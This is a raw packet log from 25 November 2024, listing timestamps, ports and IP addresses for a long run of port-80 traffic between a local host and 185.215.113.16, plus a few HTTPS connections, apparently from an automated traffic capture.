Nov 25, 2024 12:09:02.346820116 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.346925020 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.346940994 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.347023010 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.347888947 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.347969055 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.348004103 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.348536968 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.348587036 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.348613024 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.348624945 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.349431992 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.349505901 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.350006104 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.350344896 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.350502014 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.351265907 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.351387024 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.351901054 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.352065086 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.352107048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.352157116 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.352214098 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.352960110 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.353007078 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.353070974 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.353116035 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.353885889 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.353925943 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.353939056 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.353970051 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.354732990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.354775906 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.354804039 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.354837894 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.355698109 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.355737925 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.355806112 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.355845928 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.356514931 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.356621981 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.356659889 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.357364893 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.357403994 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.357475042 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.357604027 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.358251095 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.358300924 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.358366013 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.358407974 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.359226942 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.359261990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.359272957 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.359293938 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.360055923 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.360120058 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.360220909 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.360220909 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.360902071 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.360984087 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.361011982 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.361073971 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.361815929 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.361852884 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.361862898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.361901045 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.362893105 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.362920046 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.362965107 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.363590002 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.363717079 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.363816023 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.363862991 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.364630938 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.364671946 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.364754915 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.364803076 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.365581036 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.365673065 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.365792990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.365840912 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.366381884 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.366420984 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.366445065 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.366630077 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.367115021 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.367183924 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.367285013 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.367328882 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.367988110 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.368072033 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.368118048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.368830919 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.368880987 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.368922949 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.368988037 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.369790077 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.369856119 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.369883060 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.369925976 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.370651007 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.370667934 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.370771885 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.371493101 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.371553898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.371592045 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.371768951 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.372376919 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.372442007 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.372479916 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.372519970 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.373281956 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.373342037 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.373369932 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.373409033 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.374236107 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.374293089 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.374322891 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.374365091 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.375098944 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.375154018 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.375190020 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.375232935 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.375947952 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.376009941 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.376024008 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.376064062 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.376840115 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.376905918 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.376909018 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.376945972 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.377665997 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.377777100 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.377829075 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.378566027 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.378649950 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.378731012 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.378771067 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.379431963 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.379501104 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.379511118 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.379537106 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.380336046 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.380383015 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.380426884 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.380533934 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.381212950 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.381267071 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.381334066 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.381441116 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.382070065 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.382111073 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.382180929 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.382262945 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.382953882 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.382977962 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.383009911 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.383023977 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.383882046 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.383932114 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.383981943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.384041071 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.384681940 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.384790897 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.448235035 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.448304892 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.448374033 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.448746920 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:02.448760033 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:02.520796061 CET	443	49780	162.159.61.3	192.168.2.8
Nov 25, 2024 12:09:02.520867109 CET	443	49780	162.159.61.3	192.168.2.8
Nov 25, 2024 12:09:02.520944118 CET	49780	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:09:02.542118073 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.542180061 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.542236090 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.542282104 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.542417049 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.542475939 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.542589903 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.542650938 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.543404102 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.543452978 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.543509960 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.543555021 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.544207096 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.544249058 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.544303894 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.544466019 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.544967890 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.545017958 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.545082092 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.545136929 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.545778990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.545831919 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.545886040 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.545928001 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.546719074 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.546773911 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.546823978 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.546973944 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.547398090 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.547519922 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.547552109 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.547571898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.548115015 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.548160076 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.548224926 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.548367977 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.548955917 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.549000978 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.549132109 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.549175978 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.549770117 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.549844027 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.549870014 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.549954891 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.550484896 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.550580025 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.550581932 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.550617933 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.551264048 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.551310062 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.551363945 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.551420927 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.552032948 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.552071095 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.552088022 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.552167892 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.552783966 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.552866936 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.552872896 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.552906990 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.553483009 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.553529024 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.553575993 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.553639889 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.554147959 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.554193974 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.554203033 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.554244995 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.554889917 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.554934025 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.554965973 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.555006027 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.555485010 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.555546045 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.555583954 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.555618048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.556150913 CET	443	49779	162.159.61.3	192.168.2.8
Nov 25, 2024 12:09:02.556241035 CET	443	49779	162.159.61.3	192.168.2.8
Nov 25, 2024 12:09:02.556293011 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:09:02.556368113 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.556473970 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.556478977 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.556513071 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.557274103 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.557337046 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.557368040 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.557409048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.558134079 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.558193922 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.558229923 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.558271885 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.559021950 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.559070110 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.559135914 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.559267998 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.559941053 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.560002089 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.560050011 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.560141087 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.560801983 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.560853004 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.560913086 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.560959101 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.561680079 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.561728001 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.561764002 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.561808109 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.562550068 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.562591076 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.562655926 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.562730074 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.563450098 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.563520908 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.563699961 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.563750982 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.564361095 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.564378023 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.564414978 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.564423084 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.565247059 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.565274000 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.565309048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.565329075 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.566082954 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.566147089 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.566210985 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.566255093 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.567115068 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.567162037 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.567202091 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.567239046 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.567895889 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.567939997 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.567945004 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.567984104 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.568928957 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.569005966 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.569024086 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.569062948 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.569827080 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.569875002 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.569901943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.569979906 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.570606947 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.570652008 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.570688009 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.570730925 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.571628094 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.571679115 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.571691990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.571794033 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.572468042 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.572523117 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.572648048 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.572691917 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.573607922 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.573652029 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.573772907 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.573827982 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.574546099 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.574594021 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.574675083 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.574768066 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.575453997 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.575509071 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.575546026 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.575582981 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.576256037 CET	80	49830	185.215.113.16	192.168.2.8
